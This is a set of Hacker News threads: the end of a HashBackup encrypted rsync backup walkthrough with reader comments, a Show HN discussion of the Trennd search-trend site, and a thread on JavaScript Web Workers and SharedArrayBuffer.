      VERY IMPORTANT: your backup is encrypted and can only be accessed with
      the encryption key, stored in the file:
          /Users/jim/hbdev/hb/key.conf
      You MUST make copies of this file and store them in a secure location,
      separate from your computer and backup data.  If your hard drive fails,
      you will need this key to restore your files.  If you setup any
      remote destinations in dest.conf, that file should be copied too.

      Backup directory initialized

      3. Create a dest.conf file in the backup directory:

      [jim@mb hbdev]$ cat - >hb/dest.conf
      destname rsyncnet
      type rsync
      dir email@example.com:
      password XYZZY

      4. Enable dedup using up to 1GB of memory:

      [jim@mb hbdev]$ hb config -c hb dedup-mem 1g
      HashBackup build 1070 Copyright 2009-2013 HashBackup, LLC
      Backup directory: /Users/jim/hbdev/hb
      Current config version: 0
      Showing current config

      Set dedup-mem to 1g (was 0)

      5. Create a test file, 10 x 10k random blocks

      [jim@mb hbdev]$ dd if=/dev/urandom of=ran10k bs=10k count=1
      1+0 records in
      1+0 records out
      10240 bytes transferred in 0.001602 secs (6392272 bytes/sec)

      [jim@mb hbdev]$ cat ran10k ran10k ran10k ran10k ran10k ran10k ran10k ran10k ran10k ran10k >test100k

      [jim@mb hbdev]$ ls -l test100k
      -rw-r--r--  1 jim  staff  102400 Oct 15 14:20 test100k

      6. Backup the test file:

      [jim@mb hbdev]$ hb backup -c hb test100k
      HashBackup build 1070 Copyright 2009-2013 HashBackup, LLC
      Backup directory: /Users/jim/hbdev/hb
      Using destinations in dest.conf
      This is backup version: 0
      Dedup enabled, 0% of current, 0% of max
      /Users/jim/hbdev/test100k
      Writing archive 0.0
      Copied arc.0.0 to rsyncnet (11 KB 2s 5.0 KB/s)
      Copied hb.db.0 to rsyncnet (4.3 KB 2s 2.1 KB/s)
      Copied dest.db to rsyncnet (340 B 2s 162 B/s)

      Time: 4.8s
      Wait: 6.5s
      Checked: 5 paths, 125418 bytes, 125 KB
      Saved: 5 paths, 125418 bytes, 125 KB
      Excluded: 0
      Dupbytes: 0
      Compression: 87%, 8.1:1
      Space: 15 KB, 15 KB total
      No errors

      7. Create a different test file, with junk at the beginning, middle, and end:

      [jim@mb hbdev]$ echo abc>junk

      [jim@mb hbdev]$ cat junk test100k junk test100k junk >test200k
      [jim@mb hbdev]$ ls -l test200k
      -rw-r--r--  1 jim  staff  204812 Oct 15 14:24 test200k

      8. Backup the new file:

      [jim@mb hbdev]$ hb backup -c hb test200k
      HashBackup build 1070 Copyright 2009-2013 HashBackup, LLC
      Backup directory: /Users/jim/hbdev/hb
      Using destinations in dest.conf
      This is backup version: 1
      Dedup enabled, 0% of current, 0% of max
      /Users/jim/hbdev/test200k
      Writing archive 1.0
      Copied arc.1.0 to rsyncnet (42 KB 2s 15 KB/s)
      Copied hb.db.1 to rsyncnet (4.6 KB 1s 2.3 KB/s)
      Copied dest.db to rsyncnet (388 B 1s 207 B/s)

      Time: 3.0s
      Wait: 6.7s
      Checked: 5 paths, 227898 bytes, 227 KB
      Saved: 5 paths, 227898 bytes, 227 KB
      Excluded: 0
      Dupbytes: 122880, 122 KB, 53%
      Compression: 79%, 4.8:1
      Space: 47 KB, 62 KB total
      No errors

      9. What do the stats look like?

      [jim@mb hbdev]$ hb stats -c hb
      HashBackup build 1070 Copyright 2009-2013 HashBackup, LLC
      Backup directory: /Users/jim/hbdev/hb

    		     2 completed backups
    		353 KB file bytes checked since initial backup
    		353 KB file bytes saved since initial backup
    		    0s total backup time
    		176 KB average file bytes checked per backup in last 2 backups
    		176 KB average file bytes saved per backup in last 2 backups
    		  100% average changed data percentage per backup in last 2 backups
    		    0s average backup time for last 2 backups
    		353 KB file bytes currently stored
    		     2 archives
    		 53 KB archive space
    		 53 KB active archive bytes - 100%
    		   5:1 industry standard dedup ratio
    		 26 KB average archive space per backup for last 2 backups
    		   6:1 reduction ratio of backed up files for last 2 backups
    		6.2 MB dedup table current size
    		     4 dedup table entries
    		    0% dedup table utilization at current size
    		     2 files
    		     6 paths
    		    12 blocks
    		     6 unique blocks
    		16,386 average variable-block length (bytes)

      10. How much space are we using on the rsync server?

      [jim@mb hbdev]$ ssh firstname.lastname@example.com ls -l
      total 309
      -rw-r--r--  1 XXXX  XXXX     33 Oct 15 18:22 DESTID
      -rw-r--r--  1 XXXX  XXXX  11216 Oct 15 18:22 arc.0.0
      -rw-r--r--  1 XXXX  XXXX  42416 Oct 15 18:25 arc.1.0
      -rw-r--r--  1 XXXX  XXXX    388 Oct 15 18:25 dest.db
      -rw-r--r--  1 XXXX  XXXX   4308 Oct 15 18:22 hb.db.0
      -rw-r--r--  1 XXXX  XXXX   4604 Oct 15 18:25 hb.db.1

      11. By default, HB creates a local backup too.  Delete the
          local arc files (this is the file backup data)

      [jim@mb hbdev]$ hb config -c hb cache-size-limit 0
      HashBackup build 1070 Copyright 2009-2013 HashBackup, LLC
      Backup directory: /Users/jim/hbdev/hb
      Current config version: 2
      Showing current config

      Set cache-size-limit to 0 (was -1)

      [jim@mb hbdev]$ hb backup -c hb /dev/null
      HashBackup build 1070 Copyright 2009-2013 HashBackup, LLC
      Backup directory: /Users/jim/hbdev/hb
      Using destinations in dest.conf
      This is backup version: 2
      Dedup enabled, 0% of current, 0% of max
      /dev/null
      Removing archive 2.0
      Copied hb.db.2 to rsyncnet (4.0 KB 1s 2.0 KB/s)
      Copied dest.db to rsyncnet (404 B 7s 57 B/s)

      Time: 2.5s
      Wait: 9.2s
      Checked: 3 paths, 5692 bytes, 5.6 KB
      Saved: 3 paths, 5692 bytes, 5.6 KB
      Excluded: 0
      Dupbytes: 0
      Compression: 29%, 1.4:1
      Space: 4.0 KB, 66 KB total
      No errors

      [jim@mb hbdev]$ ls -l hb
      total 30600
      -rw-r--r--  1 jim  staff       65 Oct 15 14:03 HBID
      -rw-r--r--  1 jim  staff       76 Oct 15 14:05 dest.conf
      -rw-r--r--  1 jim  staff     4096 Oct 15 14:31 dest.db
      -rw-r--r--  1 jim  staff  6291716 Oct 15 14:31 hash.db
      -rwxr-xr-x  1 jim  staff  9182624 Aug 10 09:45 hb
      -rw-r--r--  1 jim  staff   139264 Oct 15 14:31 hb.db
      -rw-r--r--  1 jim  staff     4308 Oct 15 14:22 hb.db.0
      -rw-r--r--  1 jim  staff     4604 Oct 15 14:25 hb.db.1
      -rw-r--r--  1 jim  staff     4012 Oct 15 14:31 hb.db.2
      -rw-r--r--  1 jim  staff        6 Oct 15 14:31 hb.lock
      -rw-r--r--  1 jim  staff      412 Oct 15 14:31 hb.sig
      -rw-r--r--  1 jim  staff      511 Oct 15 14:03 inex.conf
      -r</comment><comment>--  1 jim  staff      333 Oct 15 14:03 key.conf

      12. Mount the backup as a FUSE filesystem:

      [jim@mb hbdev]$ hb mount -c hb mnt >mount.log 2>&1 &
      [1] 62772

      13. What's in the mounted filesystem?

      [jim@mb hbdev]$ ls -l mnt
      total 8
      drwx</comment><comment>  1 jim  staff  1 Oct 15 14:22 2013-10-15-1422-r0
      drwx</comment><comment>  1 jim  staff  1 Oct 15 14:25 2013-10-15-1425-r1
      drwx</comment><comment>  1 jim  staff  1 Oct 15 14:31 2013-10-15-1431-r2
      drwx</comment><comment>  1 jim  staff  1 Oct 15 14:31 latest
      [jim@mb hbdev]$ find mnt/latest
      mnt/latest
      mnt/latest/Users
      mnt/latest/Users/jim
      mnt/latest/Users/jim/hbdev
      mnt/latest/Users/jim/hbdev/test100k
      mnt/latest/Users/jim/hbdev/test200k
      mnt/latest/dev
      mnt/latest/dev/null

      14. All file attributes are correct in the mounted filesystem:

      [jim@mb hbdev]$ ls -l mnt/latest/Users/jim/hbdev
      total 602
      -rw-r--r--  1 jim  staff  102400 Oct 15 14:20 test100k
      -rw-r--r--  1 jim  staff  204812 Oct 15 14:24 test200k

      [jim@mb hbdev]$ ls -l test*k
      -rw-r--r--  1 jim  staff  102400 Oct 15 14:20 test100k
      -rw-r--r--  1 jim  staff  204812 Oct 15 14:24 test200k

      15. Test the backup: are the remote and local files equal?

      [jim@mb hbdev]$ time cmp test100k mnt/latest/Users/jim/hbdev/test100k
      real0m2.464s
      user0m0.001s
      sys0m0.005s

      [jim@mb hbdev]$ time cmp test200k mnt/latest/Users/jim/hbdev/test200k
      real0m2.271s
      user0m0.001s
      sys0m0.004s

      [jim@mb hbdev]$ time cmp ran10k mnt/latest/Users/jim/hbdev/test100k
      cmp: EOF on ran10k
      real0m0.005s
      user0m0.001s
      sys0m0.003s

      (ran10k and remote test100k are equal for 1st 10k, which is correct)

Beta site is: [http://www.hashbackup.com](http://www.hashbackup.com)

There is a security doc on the site that has been reviewed by Bruce Schneier.

<comment><USER4> If someone is looking for an alternative to a closed-source product, I don't see why another closed-source product would be the answer (according to Hashbackup's FAQ it won't be open-source). Usually the goal of replacing a closed-source product is to have something that you can fully control / tweak / audit ...

</comment></comment><comment><USER5> Ideally git-annex should be able to cover this in the future.

</comment><comment><USER6> How much does encryption defeat the rsync algorithm? I don't see anything in the article that addresses that.

That is, say you change one line in 1 MB text file. If you rsync plain text, it will transfer a handful of bytes. If you encrypt and then rsync encrypted text, then presumably a lot more bytes will be scrambled and you will have a bigger diff to transfer. I guess it depends on the block size.

<comment><AUTHOR> It depends.

If the resulting file is truly random vs. the last time you mounted it, then you (of course) need to retransmit everything.

However, imagine that every time you closed your TC volume or unmounted filevault it had to rewrite an entirely new multi-GB file ? Of course that would take forever and would be difficult to use.

So most encryption image software organizes the image internally such that new data written only affects portions of the file. And then, in theory, rsync with options like --partial --inplace --whatever will then transfer it efficiently.

BUT, our experience is this seldom works properly. The amount of internally changed data changes dramatically form usage to usage, and often has very little to do with the amount of actual data you changed. We just never got it to work well, consistently.

<comment><USER7> Does this mean you guys found that a large portion of the encrypted file had to be retransmitted as compared with the number of bits actually changed?

How does one consistently store encrypted data using rsync.net as a backend, whilst maintaining the benefits of the rsync protocol?

This seems to rule out the benefits of using rsync w/ encrypted files.

Is there something I'm missing?

</comment></comment></comment><comment><USER8> YES!! This is exactly what I've been looking to do!! Going to replicate this to RamNode host where I get 50GB for $1.38/month.

<comment><USER9> I see price there starting from $24/year.

<comment><USER8> Sorry, forgot to mention the coupon code from serverbear.com: SB31

31% off for life - 24*0.69/12=1.38

Enjoy!

Edit: Not to mention the other uses I get out of my VPS - voice chat server, VPN tunneling for my Roku (In Canada), game server, etc. Ofcourse, if you are storing important information, I wouldn't suggest loading up your VPS with services increasing risk of hacking.

<comment><USER9> Thank you!

</comment></comment></comment></comment><comment><AUTHOR> ... someone on irc asked about encfs for windows, which appears to be here:

[http://members.ferrara.linux.it/freddy77/encfs.html](http://members.ferrara.linux.it/freddy77/encfs.html)

We have never used this and cannot vouch for it in any way, but there it is ...

</comment><comment><USER10> Could Tahoe-LAFS be used for this purpose?

<comment><AUTHOR> A few comments about that...

To be a Tahoe-LAFS "target" you do need to be running their code on the server side ... and it's python.

We make a point to keep our environment as simple and sanitized as possible, which implies having no interpretors, so at this time you can't use rsync.net as a Tahoe-LAFS target.

BUT! We've always been very excited about Tahoe-LAFS and are well acquainted with Zooko and his team, etc., and so we are experimenting with a frozen[1] implementation of it that we can place into our environment as a binary executable[2].

The two solutions aren't really that related, as Tahoe-LAFS (sort of) implies that rsync.net would be just one of many (perhaps ten) remote containers out there, whereas this solution is targeted to just one remote host... but since you asked ...

[1] [http://cx-freeze.sourceforge.net/](http://cx-freeze.sourceforge.net/)

[2] We already do this with rdiff-backup, which is how we are able to support that ...

<comment><USER11> That's exciting, and something I might be interested in. My question and concern, however, is that Tahoe-LAFS seems better suited for distributed storage among unreliable nodes. I consider rsync.net to be fairly durable storage, especially since the way I use it is as backup and not the only storage location for a file. I have the same question about using S3 as a tahoe backend, which is another thing I've seen.

Of course, you could just use Tahoe-lafs to store everything on one or two nodes when they're reliable and durable, but then why not just use gpg or encfs, which don't require custom clients or gateway/introducer nodes?

</comment></comment></comment><comment><USER9> > IMPORTANT! Make sure to remove the .encfs files from the secure folder > before syncing. IF THESE FILES ARE IN THE SYNCED FOLDER, YOUR FILES ARE MUCH > MORE EASIER TO BE CRACKED.*

What?! No don't do it! If you lost your .encfs6.xml file pretty much you lost everything. You can't decode your files back. Of course you don't have to sync it, you can back it up by other means. But you can't just remove it.

</comment><comment><USER12> I thinks ZFS is more appropriate than git in this context

[http://grigio.org/diy_your_dropbox_backup_zfs_sshfs_and_rsyn...](http://grigio.org/diy_your_dropbox_backup_zfs_sshfs_and_rsync)

<comment> 4dl0v3-p34c3 High Five. And with PEFS, there's no comparison: [https://github.com/glk/pefs](https://github.com/glk/pefs)

List encrypted FSL [http://en.wikipedia.org/wiki/List_of_cryptographic_file_syst...](http://en.wikipedia.org/wiki/List_of_cryptographic_file_systems)

I just use SSH or stunnel w/ a SQL database with procedures built in.

</comment></comment><comment><USER13> Umm... Git-annex does this without it taking half an hour to do, plus it takes less very little effort to setup on multiple locations.

</comment><comment><USER14> git-annex is explicitly designed to avoid putting file contents under version control because git doesn't handle large files (like videos) very well. It seems like this system is running headlong into that problem. I'm probably going to be sticking with duplicity for now.

</comment><comment><USER15> @prirun is Hashbackup open source? Or close source and filled with backdoors?</comment>


Show HN: I built a service to discover rapidly  growing Google search topics - <AUTHOR> https://trennd.co/ <comment><AUTHOR> Hey everyone, Josh here the creator. As a developer, I'm always looking out for an emerging market trend on which to bootstrap my own SaaS product. This is since market awareness and timing are often so critical, on top of execution skill of course!

So I built Trennd. Under the hood it continually monitors the web for interesting keywords & topics, classifies them using Google Trends data and packages everything as a neat web app where other people can contribute too.

The app itself is built with the Next.js React framework along with Express, Bootstrap and MongoDB. Next.js was new to me, but made sense since it comes with so much out of the box, including server side rendering.

Let me know if you have any questions, and any feedback is much appreciated!

<comment><USER2> These results aren't filtered in some way? I find it suspicious that almost all of the top ~100 results are tech related.

<comment> concert-gilled > I have scripts that are crawling the web in places like twitter, reddit and > facebook to generate keyword ideas. So the trends that it detects is biased > towards the corners of the web that I am monitoring. Which skew heavily > tech!

</comment></comment></comment><comment><USER3> This definately has a market, but i'm not sure SaaS is it. More typical eCommerce products have a "flavor of the day" like effect, where an article is written in some niche community, and everyone in that community rushes out to buy the thing. Then a few months later, the craze is over. If you're Amazon, you can spot these trends easily (because they have everyone's sales data from the marketplace). If you're a small eCommerce company, unless you just happen to have that product on hand, and someone just happened to have found you, you may never even realize the trend existed. Being alerted that there is a sudden demand for a product, might give you a headstart on marketing and might help you negotiate a deal with a supplier before the supplier realizes what they have.

<comment><USER4> I'm a moderator of one of the bigger Facebook advertising groups that exist. This caught my eye instantly as the e-commerce and affiliate crowd are going to be all over it. They love being able to catch trends relatively early. This product is ready made built for flavor of the moment marketers.

<comment><AUTHOR> That's awesome to hear!

If I were to build Trennd towards these e-commerce guys, what would you improve/add/change to make them love it?

<comment><USER5> When I was doing affiliate marketing a decade ago, what I did manually was watch informercials and jot down the names of all those products. Then manually run searches in Google Trends to see which ones were spiking, and create content for those products (ie reviews, guides, etc). Here's an example of a product that really took off after they did an informercial in 2006: [https://trends.google.com/trends/explore?date=all&q=almighty...](https://trends.google.com/trends/explore?date=all&q=almighty%20cleanse) . I created a page for this product and was ranked #1 instantly. Because nobody else was writing about it.

I stopped doing affiliate marketing so don't know what people do now, but just throwing you some ideas.

<comment><USER6> Per the discussion above, this seems to be a pretty spot-on ID of one of these "flavors of the day"...!

</comment></comment></comment></comment></comment><comment><USER7> Very cool! As a front-end dev it's interesting (but I guess also not surprising) to see React and Vue with very steep curves.

I wanted to try adding Svelte, so I signed up by email, but that doesn't seem to be working. Then I tried Sign In With Twitter but, wow, it requires an awful lot of permissions! Among them... Follow new people, Update your profile, and Post Tweets for you. I'd be a lot happier signing in with Twitter if it were limited to read-only abilities.

<comment><USER8> yea, or just signing in with an email and password. not sure why everyone thinks they need to have perms to my other services just to user theirs.

<comment><USER7> Yeah, I'm not crazy about this trend toward emailing magic login links. I've got a password manager...

</comment></comment></comment><comment><USER6> This is similar in some ways to [https://meetglimpse.com/](https://meetglimpse.com/)

The key value-add, in my mind, from that product, besides the trend, is the editorial content they include in the email. Of course, that's just me as a layperson.

I'd probably dupe their pricing model and approach: i.e., a limited number of weekly/monthly trends, subscribers get more.

<comment><AUTHOR> Definitely - the glimpse newsletter looks good and is the same concept of surfacing new Google trends. I didn't like being limited to just a few trends per month everyone else sees via newsletter though.

I was looking for an interactive app with 1000 trends I could dig through. But as you say, then the editorial content/insight for each trend is key value- add. That's part of the reason I've built in for users to be able to add their own trends, insights and comments. If we can crowdsource it, then to some extent we don't have to trade-off quantity and quality.

</comment></comment><comment><USER9> Is there a plan to sell the data as an API?

I am currently working with a client who is exploring the options for building out a similar system.

<comment><AUTHOR> Selling the data as an API is definitely a potential. I was originally thinking to allow CSV downloads of the data. Would an API be more useful for your client's use case?

<comment><USER9> You seem to have done most of the hard work, collecting the data. I'm not sure they'd care what format the data was in. Providing it could be expanded to cover the topics their clients need.

<comment><AUTHOR> Yeah absolutely - topic coverage can be expanded. Shoot me an email and we can chat more: josh at trennd dot co

<comment><USER9> Sounds great, I'll ping you an email sometime next week!

</comment></comment></comment></comment></comment><comment><USER10> How can there be a big spike in the 'cattle' trend - [https://trennd.co/trend/cattle](https://trennd.co/trend/cattle) \- but no corresponding change on Google Trends - [https://trends.google.com/trends/explore?date=today%205-y&q=...](https://trends.google.com/trends/explore?date=today%205-y&q=undefined) ?

<comment><AUTHOR> The spike for cattle appears to be in Google trends for me: [https://trends.google.com/trends/explore?date=today%205-y&q=...](https://trends.google.com/trends/explore?date=today%205-y&q=%2Fg%2F122h0nq6)

</comment></comment><comment><USER11> Is there a Pro version where I can get alerts and manage my keywords etc and have a dashboard?

</comment><comment><USER12> It's interesting to see that topics like 'fentanyl', 'opiod' have done up.

Also 'criminal defenses', 'wrongful death claim' have gone up a lot as well - Perhaps they are related to spikes in searches for plastic surgery topics.

Also it's weird why almost all the topics on the front page are related to software development. It's like there is some kind of conspiracy to turn the world's population into software developers.

</comment><comment><USER13> Nice idea. For very short time spans, I noticed some "trends" seem to be seasonal trends ("aperol", "lawn mower"...). It might be interesting to compare with the trend for the same search the year before at the same period, to be able to identify those cases (for intance, I cannot see from the graphs whether Aperol is more or less trendy this summer compared to last summer)

</comment><comment><USER14> Where's the data coming from? I assume the trends are coming from Google Trends but how are topics found?

</comment><comment><USER15> The examples on the front page looks surprisingly good, which makes me suspect they were hand-picked. Kind of beats the purpose of the app if I'm just shown trends the author and me already know about, since we seem to inhabit the same subcultures.

<comment><AUTHOR> Yes, I do filter out any chaff, since the scripts I have crawling the web to generate keyword ideas aren't perfect!

Right now they're monitoring the obvious techie havens, but I'm looking to expand their coverage to be more comprehensive.

<comment><USER16> When building a system that surfaces interesting trends, you have to be careful about curating which historic examples you show. People will craft their understanding of predictive power based on those examples... but if the examples aren't representative (i.e. randomly sampled) of the algorithm, then you're selling people rainbows and unicorns.

</comment></comment></comment><comment><USER17> What about also crawling data from AdSense? That way you also get the search numbers, not just the relative graph.

You see these numbers as part of planning for a campaign. There is also an API for it.

</comment><comment><USER18> Many years ago I built a service on appengine to hit the auto complete api endpoint for every single and 2 letter prefix, as well as things like "how do I" or "what is the".

It ran for a few months before blowing up the free quota, but it was pretty cool while it lasted.. Seeing certain things bubble up and then disappear. Like right now 'lion king' is the first suggestion for 'l', but I doubt it was a month ago.

</comment><comment><USER19> So... whats up with: [https://trennd.co/trend/craft- beer](https://trennd.co/trend/craft-beer)

A peak every April and a dip every December? This seems like the result of some smoothing algorithm needing ~4 months of data and resetting every year.

This one even more consistent: [https://trennd.co/trend/airbnb](https://trennd.co/trend/airbnb)

<comment><USER20> People search for more craft beer before Christmas (because they're looking for a unique gift) and less for AirBnB (because they get together with their families for the holidays).

Seasonal patterns in data about human behavior are the norm rather than the exception. That includes search trends. There are also monthly, weekly and daily cycles, as well as some that have not quite yearly period, e.g. Ramadan.

</comment></comment><comment><USER21> Cool idea, but all charts are empty. Hugged by Hacker News?

<comment><AUTHOR> Yeah - just got hugged!

Upgraded my mongodb atlas cluster to resolve the issue, apologies.

</comment></comment><comment><USER22> I wonder if it would not be more interesting to see the unique search queries instead ie. the least popular search queries.

(In the spirit of "YouTube videos that have almost zero previous views" [1] / astronaut.io)

[1] [https://news.ycombinator.com/item?id=20432772](https://news.ycombinator.com/item?id=20432772)

</comment><comment><USER23> I'd also like to see downward trends, not just growing trend. From the last page or two, I see some downward trend, like "blog", "facebook", and "gmail". I don't know if it means the decline of popularity, but it is definitely interesting to see the declining graph.

</comment><comment><USER24> Brilliant stuff. Fascinating to see how seasonal some of the searches are – "rosé" and "Aperol" spikes in July and December (southern/northern hemisphere summers?), "carbs" and "low-carbohydrate diet" peaks in January (when people want to change their habits?).

</comment><comment><USER25> This is pretty brilliant. I'd hook up something to identify trends with companies that can potentially be invested in. Could be useful from a publicly traded stand point (Good ole stock picking) or even VC investing if the product was rapidly growing and not yet heavily invested in.

</comment><comment><USER10> Very minor bug - if a user has an emoji in their Twitter name the default blank avatar doesn't quite work correctly - [https://trennd.co/user/5d31d11ce6f3ce02e53269c7](https://trennd.co/user/5d31d11ce6f3ce02e53269c7)

<comment><AUTHOR> Ahah - thanks for the heads up!

</comment></comment><comment><USER26> Is there some open source version of something like this? I would be interested in monitoring some non-tech topics and it would be useful to have something with most of the basic features in place to do so, even if it's a library

</comment><comment><USER27> `Gmail` appears to be trending down but exhibits local maxima right around Spring and Fall equinox: [https://trennd.co/trend/gmail](https://trennd.co/trend/gmail)

Now why would that be...

<comment><USER28> I guess the most logical conclusion is that every time they make a sacrifice under the full moon during the equinox, they get rewarded with more interest in Gmail.

</comment></comment><comment><USER29> OT, the chart for remote recruitment looks very cyclic -> [https://trennd.co/trend/remote-recruitment](https://trennd.co/trend/remote- recruitment)

any idea where this is coming from?

</comment><comment><USER30> As a quick feedback, currently the front page has no indication what use signing up is.

<comment><AUTHOR> Signing up allows you to add and upvote trends yourself.

But duly noted! I will make that clearer.

<comment><USER30> I figured out the adding trends after clicking on one.

Are the trends on the frontpage sorted by upvotes?

<comment><AUTHOR> They're sorted by gradient. But you can sort by upvotes too.

<comment><USER31> The "Insight" section needs more attention, Suposedly is for subject matter experts yet in this example we see uninformed biased opinions.

Examples

1) [https://trennd.co/trend/ketogenic-diet](https://trennd.co/trend/ketogenic- diet)

2) [https://trennd.co/trend/plant-based-diet](https://trennd.co/trend/plant- based-diet)

</comment></comment></comment></comment></comment><comment><USER5> This is awesome. I'd love to have the ability to view topics based on category. IE. see the biggest trends in entertainment or the biggest trends in sports players, or the biggest trends in startup brands.

<comment> yoz-y There seems to be a filter on the top to do just that.

[https://trennd.co/?categories=%255B%2522sport%2522%255D](https://trennd.co/?categories=%255B%2522sport%2522%255D)

</comment></comment><comment><USER32> Very cool, but this is essentially not "discovery". There is a heavy skew toward tech - but niche tech (Notion for example) specifically. It would be cool to get a broader, less bias perspective.

</comment><comment><USER33> If possible, I'd like ti integrate with the real monthly search numbers for each keyword, I can't get it anywhere, only see a trend score, could u explain a bit more on this?

</comment><comment><USER34> That's very neat and interesting; I guess the two questions are \- how do you generate keywords to search for ? \- how do you filter out noise (or perhaps you don't filter it) ?

<comment><USER34> additional question, maybe related to the question on noise : what is the Y axis? number of queries I suppose but are they normalized?

<comment><AUTHOR> Yeah they're normalized relative to a scale of 100, as it's Google trends data. In the future I want to include actual search volume numbers as a line on the chart too though. Just need to figure out where to get that data first!

</comment></comment></comment><comment><USER35> This could have massive potential with music industry A&R's looking to capitalize on viral songs. That's where virtually all recording contract money is going nowadays.

</comment><comment><USER36> Looks good, but I miss units on the axis. On mobile, it's missing from the start page. The units for the y-axis on the detail view is missing (as far as I can see).

</comment><comment><USER37> [https://trennd.co/trend/suicide-1](https://trennd.co/trend/suicide-1)

interesting: why spike? why Science category?

</comment><comment><USER38> What is your Algo for calculating Trends? I mean how do you say that something is trending? It is most popular? Emerging? Z-score?

<comment><USER39> It's probably built on Google Trends

</comment></comment><comment><USER40> Are topics coming from twitter trending? Also, can you add filter of industry- wise topics? Good work btw :)

</comment><comment><USER41> Curious to know how Your filters are defined (spike, potential, hyper) Thanks, i'll follow and maybe use !

<comment><AUTHOR> Right now spike/potential/hyper classifications are my subjective opinion.. which I hate because that varies depending on the day I'm having and my specific biases.

Figuring out how to classify them mathematically is next on the to-do list. For example a spike would have extreme outliers in the middle and hyper would be over a certain exponent.

<comment><USER42> It would be nice if it could discriminate between trends that are still in exponential growth from the ones that have passed the inflexion point.

</comment></comment></comment><comment><USER28> Very nice.

Are these all public sources?

Have you considered backtesting it to see if you can get a trading signal out of it?

</comment><comment><USER43> What's the time scale on the x axis? Are these trending over hours, days, months?

<comment><AUTHOR> The default is 5 years, but there is a dropdown select where you can choose from 3 months to 15 years.

</comment></comment><comment><USER44> Looks like it can be used to discover new form of investments

</comment><comment><USER45> Web server down? Anyone else getting it to load?

<comment><AUTHOR> Should be back up now! Apologies - had to upgrade my mongodb atlas cluster, it got hugged.

</comment></comment><comment><USER46> Very cool! Thank you for sharing -- and for creating it! Have you considered taking a step further in the "open" direction and making it OSS?

<comment><AUTHOR> Thank you - appreciate it!!

I actually hadn't considered OSS, which part of it specifically would be most interesting to see?

<comment><USER47> The keyword generation part, for me

</comment></comment></comment><comment><USER48> This is great!

</comment><comment><USER49> This is really cool.

</comment><comment><USER50> Great stuff. Thanks</comment>


JavaScript in Parallel: Web Workers and SharedArrayBuffer - <AUTHOR> http://50linesofco.de/post/2017-02-06-javascript-in-parallel-web-workers-transferables-and-sharedarraybuffer <comment><USER2> It is really how disappointing the options to share data with workers are in the browser.

Combine the limited options options to transfer data quickly, and the limited API available in the worker itself (no version of a DOM, even a gutted one for doing measurements), it is no surprise how few opportunities to use them effectively there are.

When it comes to transferring objects, it is so bad people are resorting to JSON.stringifying messages. [0]

Seems like it would be easy to just add an Immutable Array and Map to the standard library, and let people use that on workers without these silly limitations. What am I missing?

[0] [https://nolanlawson.com/2016/02/29/high-performance-web- work...](https://nolanlawson.com/2016/02/29/high-performance-web-worker- messages/)

<comment><USER3> I used web workers extensively in a JS project a little over a year ago, and it was a nightmare. Granted what I was attempting was crazy, but it shouldn't have been as painful as it was.

Basically the "gotchas" are in the browser implementations. Each browser's web worker implementation is a little different, and those little differences (bugs) have huge implications in terms of what you can and can't do. For example: one browser may relay direct worker-to-worker messages via the main thread, so if your main thread is blocked your workers can't talk to each other, and that largely defeats the entire purpose of direct worker-to-worker communication.

Fortunately some of these issues have been fixed since (including that one, if memory serves), but it's slow going. I believe what happened was workers were introduced 5+ years ago, met with little interest initially, and the APIs have rotted for years until recently when interest picked up again, especially since SharedArrayBuffer.

My qualm with SharedArrayBuffer is that it kind of sucks to use in pure JS projects, because you have to serialize/deserialize everything to and from the buffer. With the Emscripten toolchain's pthreads support, as far as I'm aware you just compile your code and the heap lives inside SharedArrayBuffer. You don't have to write boilerplate serialization code, so compared to plain JavaScript it's seamless experience in that regard.

My advice to anyone using web workers in a pure JavaScript project is to use them as their name implies: offloading long-running calculations. If you try to treat them as true threads, you're going to have a bad time. Especially if your inter-worker messaging volume is high and you have frequent interdependent (blocking) calculations.

That said, the work I did was prior to SharedArrayBuffer. For very high- performance projects, it will likely be prudent to use SharedArrayBuffer itself as a messaging medium between workers.

<comment><USER4> Ios has a ui thread and a separate thread for application logic. React native makes good use of this to make applications silky smooth.

In Web land, the overhead of communication with workers is costly that it makes sense to do things in main thread. Preact had an worker diffing implementation but that was slower.

We once had to unzip on worker and pass to main thread, it was faster just to do it on UI thread.

</comment></comment></comment><comment><USER5> If multithread is a possibility for the future of javascript why not make promises and async multithread and keep the same syntax we are using now... What is there to gain with workers ? It seems to me like an unnecessary addition ... but I am interested in the point of view of specialists on the matter. I may be wrong, but promises and async are for me a great formalism upon which one could build a future version of js that is multithreaded.

<comment><USER6> Ah so you mean call other js processes through async/yield type stuff. I think that is cognitively easier than introducing new concepts like this has with a familiar way to do things. I agree with you. There would have to be some other syntax like "thread" to note it is not in the main thread but acted just like async or something.

var somevalue = async doSomething();

var someExpensiveVAlue = thread doExpensiveThing();

var lotsOfExpensiveThings = Thread.all(threads);

<comment><USER7> This is how it works in dotnet.

var val = await Task.Run(() => doSomeThreadedWork(param));

Indicates to the runtime that the specified delegate may be run on another thread. This doesn't explicitly start a new thread but rather just allows the delegate to execute on one of the thread pool threads that is managed by the runtime. It uses heuristics to decide how many threadpool threads to maintain and whether to actually use one of them to execute your delegate. A similar model would be very useful to have in JavaScript.

<comment><USER8> The issue is that in .Net there are locking primatives to access shared values... where as in Node/JS you would need something that only allowed passing of strings, other primatives, and SharedArrayBuffer or similar objects that don't change underneath unexpectedly.

</comment></comment></comment></comment><comment><USER9> I kept finding myself needing to toss stuff in a background thread, and ended up making this: [https://github.com/icodeforlove/task.js](https://github.com/icodeforlove/task.js)

It makes wrangling multiple workers much easier, and doesn't require you to have external JS files. (also works in node.js)

demo: [http://s.codepen.io/icodeforlove/debug/ZOjBBB/NjrYzwzWdzLA](http://s.codepen.io/icodeforlove/debug/ZOjBBB/NjrYzwzWdzLA)

<comment><USER10> Looks impressive, well thought out interface. That's also an impressive grid of browser compatibility.

</comment></comment><comment><USER11> What do people actually use Web Workers for? The examples I've seen, including this one, seem contrived. I keep hoping they'll change it to allow background image manipulation, but I haven't seen much real progress in that front.

<comment><USER12> I've used it for background image manipulation before.

Paint the image to a canvas, then grab the imagedata off of it, split it into as many parts as you have threads, then use the "transferrableObjects" property of postMessage to zero-copy transfer the data to each worker to be processed, transferred back, and re-stitched together.

It's pretty powerful and suprisingly easy to work with once you understand it.

[0] is a snippet from the code, but be gentile... It was a personal project where I was trying out polymer 0.5 and made a lot of questionable design choices...

Also, I've heard of the idea of using webworkers as a "first class" platform. That is do all of the core parts of your application in them and only use the "main" thread as a "ui" thread. I haven't gotten a chance to try it out, but it seems like a great idea that could really work well in some SPAs.

